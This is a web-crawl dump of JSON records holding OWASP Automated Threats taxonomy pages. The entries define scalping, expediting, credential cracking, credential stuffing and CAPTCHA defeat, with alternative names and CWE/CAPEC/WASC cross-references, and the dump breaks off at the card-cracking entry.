Application Fingerprinting\n\n### CWE Base / Class / Variant IDs\n\n- 200 Exposure of Sensitive Information to an Unauthorised Actor\n\n### WASC Threat IDs\n\n- 45 Fingerprinting\n\n### OWASP Attack Category / Attack IDs\n\n- —\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2789, "slov": 328, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:51", "sha256": "ac970db297b64770f9187fb982ec0ea2114bd52a14d645b60379a631ad67aff1", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-005_Scalping.html", "titulek": "OAT-005 Scalping | OWASP Foundation", "h1": "OAT-005 Scalping", "popis": "OAT-005 Scalping on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-005_Scalping", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-005 Scalping on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-005 Scalping | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-005_Scalping.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-005 Scalping"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-005 Scalping\n\n**Scalping** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-005\n\n### Threat Event Name\n\nScalping\n\n### Summary Defining Characteristics\n\nObtain limited-availability and/or preferred goods/services by unfair methods.\n\n### Indicative Diagram\n\n### Description\n\nAcquisition of goods or services using the application in a manner that a normal user would be unable to undertake manually.\n\nAlthough Scalping may include monitoring awaiting availability of the goods or services, and then rapid action to beat normal users to obtain these, Scalping is not a “last minute” action like [OAT-013 Sniping](OAT-013_Sniping.html), nor just related to automation on behalf of the user such as in [OAT-006 Expediting](OAT-006_Expediting.html). This is because Scalping includes the additional concept of limited availability of sought-after or exclusive goods or services, and is most well known in the ticketing business where the tickets acquired are then resold later at a profit by the scalpers/touts. This can also lead to a type of user denial of service, since the goods or services become unavailable rapidly.\n\n### Other Names and Examples\n\nBulk purchase; Grinch bot; Purchase automaton/bot; Queue jumping; Restaurant table/hotel room reservation speed-booking; Sale stampede; Secondary ticketing; Slot-booking bot; Sneaker bot; Ticket resale; Ticket scalping; Ticket touting; Vaccine bot\n\n### See Also\n\n- [OAT-006 Expediting](OAT-006_Expediting.html)\n- [OAT-013 Sniping](OAT-013_Sniping.html)\n- [OAT-015 Denial of Service](OAT-015_Denial_of_Service.html)\n- [OAT-021 Denial of Inventory](OAT-021_Denial_of_Inventory.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2902, "slov": 369, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:53", "sha256": "63573a62e1832c83d40f13f59ee70e7d20e4880b126bbb020896cc45ee380178", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-006_Expediting.html", "titulek": "OAT-006 Expediting | OWASP Foundation", "h1": "OAT-006 Expediting", "popis": "OAT-006 Expediting on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-006_Expediting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-006 Expediting on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-006 Expediting | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-006_Expediting.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-006 Expediting"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-006 Expediting\n\n**Expediting** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-006\n\n### Threat Event Name\n\nExpediting\n\n### Summary Defining Characteristics\n\nPerform actions to hasten progress of usually slow, tedious or time-consuming actions.\n\n### Indicative Diagram\n\n### Description\n\nUsing speed to violate explicit or implicit assumptions about the application’s normal use to achieve unfair individual gain, often associated with deceit and loss to some other party.\n\nIn contrast to [OAT-016 Skewing](OAT-016_Skewing.html) which affects metrics, Expediting is purely related to faster progression through a series of application processes. And [OAT-017 Spamming](OAT-017_Spamming.html) is different to Expediting, since the focus of spam is to add information, and may not involve the concept of process progression.\n\n### Other Names and Examples\n\nAlgorithmic trading; Automated stock trading; Betting automation; Game automation; Gaming bot; Gold farming; Financial instrument dealing; High frequency trading; Last look trade; Mining; Purchase automation; Ticketing automation; Trading automation; Virtual wealth generation bot\n\n### See Also\n\n- [OAT-005 Scalping](OAT-005_Scalping.html)\n- [OAT-013 Sniping](OAT-013_Sniping.html)\n- [OAT-016 Skewing](OAT-016_Skewing.html)\n- [OAT-017 Spamming](OAT-017_Spamming.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 841 Improper Enforcement of Behavioral Workflow\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2542, "slov": 306, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:50", "sha256": "062194262474ec5d686268197f0d1a3fe554851340931556d6551bd0bf2a21bb", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-007_Credential_Cracking.html", "titulek": "OAT-007 Credential Cracking | OWASP Foundation", "h1": "OAT-007 Credential Cracking", "popis": "OAT-007 Credential Cracking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-007_Credential_Cracking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-007 Credential Cracking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-007 Credential Cracking | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-007_Credential_Cracking.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-007 Credential Cracking"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-007 Credential Cracking\n\n**Credential Cracking** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-007\n\n### Threat Event Name\n\nCredential Cracking\n\n### Summary Defining Characteristics\n\nIdentify valid login credentials by trying different values for usernames and/or passwords.\n\n### Indicative Diagram\n\n### Description\n\nBrute force, dictionary (word list) and guessing attacks used against authentication processes of the application to identify valid account credentials. This may utilise common usernames or passwords, or involve initial username evaluation. It may abuse functionality not always considered authentication directly, such as trying lists of email addresses to register for email subscriptions, on websites where usernames are email addresses.\n\nThe use of stolen credential sets (paired username and passwords) to authenticate at one or more services is [OAT-008 Credential Stuffing](OAT-008_Credential_Stuffing.html). Use of processes simply to identify users (e.g. email addresses) for use elsewhere is [OAT-011 Scraping](OAT-011_Scraping.html).\n\n### Other Names and Examples\n\nBrute forcing log-in credentials; Brute-force password cracking; Cracking login credentials; Mailing list stuffing; Password brute-forcing; Password cracking; Password spraying; Reverse brute force attack; Username cracking; Username enumeration\n\n### See Also\n\n- [OAT-002 Token Cracking](OAT-002_Token_Cracking.html)\n- [OAT-008 Credential Stuffing](OAT-008_Credential_Stuffing.html)\n- [OAT-019 Account Creation](OAT-019_Account_Creation.html)\n- [OAT-020 Account Aggregation](OAT-020_Account_Aggregation.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 16 Dictionary-based Password Attack\n- 49 Password Brute Forcing\n- 70 Try Common or Default Usernames and Passwords\n- 112 Brute Force\n\n### CWE Base / Class / Variant IDs\n\n- 307 Improper Restriction of Excessive Authentication Attempts\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 11 Brute Force\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Brute Force Attack\n- Password Spraying\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 3067, "slov": 368, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:46", "sha256": "8b741821b86319b7cb0f99343ebf14267c9e9bf260d6e1f148bf1ffa1b8eecea", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-008_Credential_Stuffing.html", "titulek": "OAT-008 Credential Stuffing | OWASP Foundation", "h1": "OAT-008 Credential Stuffing", "popis": "OAT-008 Credential Stuffing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-008_Credential_Stuffing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-008 Credential Stuffing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-008 Credential Stuffing | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-008_Credential_Stuffing.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-008 Credential Stuffing"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-008 Credential Stuffing\n\n**Credential Stuffing** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-008\n\n### Threat Event Name\n\nCredential Stuffing\n\n### Summary Defining Characteristics\n\nMass log in attempts used to verify the validity of stolen username/password pairs.\n\n### Indicative Diagram\n\n### Description\n\nLists of authentication credentials stolen from elsewhere are tested against the application’s authentication mechanisms to identify whether users have re-used the same login credentials. The stolen usernames (often email addresses) and password pairs could have been sourced directly from another application by the attacker, purchased in a criminal marketplace, or obtained from publicly available breach data dumps.\n\nUnlike [OAT-007 Credential Cracking](OAT-007_Credential_Cracking.html), Credential Stuffing does not involve any brute-forcing or guessing of values; instead credentials used in other applications are being tested for validity.\n\n### Other Names and Examples\n\nAccount checker attack; Account checking; Account takeover; Account takeover attack; Checkers; Credential replay; Login stuffing; Password list attack; Password re-use; Stolen credentials; Use of stolen credentials\n\n### See Also\n\n- [OAT-007 Credential Cracking](OAT-007_Credential_Cracking.html)\n- [OAT-019 Account Creation](OAT-019_Account_Creation.html)\n- [OAT-020 Account Aggregation](OAT-020_Account_Aggregation.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n- Credential Stuffing\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2706, "slov": 321, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:47", "sha256": "a55a0e9c893419251ca1100e9bb465e3765b4f3098f149e0d31ea6764c65e890", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-009_CAPTCHA_Defeat.html", "titulek": "OAT-009 CAPTCHA Defeat | OWASP Foundation", "h1": "OAT-009 CAPTCHA Defeat", "popis": "OAT-009 CAPTCHA Defeat on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-009_CAPTCHA_Defeat", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-009 CAPTCHA Defeat on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-009 CAPTCHA Defeat | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-009_CAPTCHA_Defeat.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-009 CAPTCHA Defeat"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-009 CAPTCHA Defeat\n\n**CAPTCHA Defeat** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-009\n\n### Threat Event Name\n\nCAPTCHA Defeat\n\n### Summary Defining Characteristics\n\nSolve anti-automation tests.\n\n### Indicative Diagram\n\n### Description\n\nCompletely Automated Public Turing test to tell Computers and Humans Apart (CAPTCHA) challenges are used to distinguish normal users from bots. Automation is used in an attempt to analyse and determine the answer to visual and/or aural CAPTCHA tests and related puzzles. Apart from conventional visual and aural CAPTCHA, puzzle solving mini games or arithmetical exercises are sometimes used. Some of these may include context-specific challenges.\n\nThe process that determines the answer may utilise tools to perform optical character recognition, or matching against a prepared database of pre-generated images, or using other machine reading, or human farms.\n\n### Other Names and Examples\n\nBreaking CAPTCHA; CAPTCHA breaker; CAPTCHA breaking; CAPTCHA bypass; CAPTCHA decoding; CAPTCHA solver; CAPTCHA solving; Puzzle solving\n\n### See Also\n\n- [OAT-006 Expediting](OAT-006_Expediting.html)\n- [OAT-011 Scraping](OAT-011_Scraping.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- —\n\n### CWE Base / Class / Variant IDs\n\n- 804 Guessable CAPTCHA\n- 841 Improper Enforcement of Behavioral Workflow\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- —\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2369, "slov": 294, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:42", "sha256": "7b21668681e67eaa20fb8c8a5e943868bc00166e49155fac5f306f38f2b92a1c", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-010_Card_Cracking.html", "titulek": "OAT-010 Card Cracking | OWASP Foundation", "h1": "OAT-010 Card Cracking", "popis": "OAT-010 Card Cracking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-010_Card_Cracking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-010 Card Cracking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-010 Card Cracking | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-010_Card_Cracking.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-010 Card Cracking"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-010 Card Cracking\n\n**Card Cracking** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-010\n\n### Threat Event Name\n\nCard Cracking\n\n### Summary Defining Characteristics\n\nIdentify missing start/expiry dates and security codes for stolen payment card data.\n\n### Indicative Diagram\n\n### Description\n\nBrute force 